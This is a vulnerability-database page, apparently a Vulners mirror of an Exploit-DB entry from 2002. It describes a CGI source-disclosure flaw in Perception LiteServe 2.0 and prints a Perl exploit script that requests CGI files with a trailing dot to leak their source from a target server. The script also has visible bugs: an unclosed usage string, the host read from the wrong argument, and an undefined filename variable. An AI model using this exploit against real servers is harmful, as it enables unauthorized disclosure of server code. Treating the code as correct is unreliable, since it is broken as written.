Lucene search
+L

Perception LiteServe 2.0 - CGI Source Disclosure

🗓️ 14 Nov 2002 00:00:00Reported by mattmurphyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Remote attackers can disclose CGI source code using malicious web requests in LiteServe 2.0.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-1986
28 Jun 200504:00
cve
cvelist
Cvelist
CVE-2002-1986
28 Jun 200504:00
cvelist
euvd
EUVD
EUVD-2002-1965
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-1986
31 Dec 200205:00
nvd
redhatcve
RedhatCVE
CVE-2002-1986
21 May 202520:29
redhatcve
source: https://www.securityfocus.com/bid/6188/info

By constructing a malicious web request, it is possible for a remote attacker to disclose the source code of CGI scripts. Information gained through exploiting this issue may aid an attacker in launching further attacks against the target system.

#!/usr/bin/perl
#
# LS_FETCH.PL
# By Matthew Murphy
# LiteServe 2.02 and prior - CGI Disclosure
# Usage: perl ls_fetch.pl [filename] [host] [alias] [port]
use IO::Socket;
use URI::Escape;

$alias = "cgi-isapi"; # Default LiteServe CGI alias
$port = 80;
if (@ARGV < 2 || @ARGV > 4) {
print STDOUT "Usage: perl $0 [filename] [host] [alias=cgi-isapi] [port=80]
} else {
if (@ARGV >= 3) {
$alias = $ARGV[2];
}
if (@ARGV == 4) {
$port = $ARGV[3];
}
$filename = $ARGV[1];
$host = $ARGV[2];
$f = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>"tcp");
$f->autoflush(1);
$b = sprintf("GET /%s/%s. HTTP/1.0\r\n\r\n", $alias, uri_escape($file));
print $f $b;
while (defined($line=<$f>)) {
print STDOUT $line;
}
undef $f;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.06685
25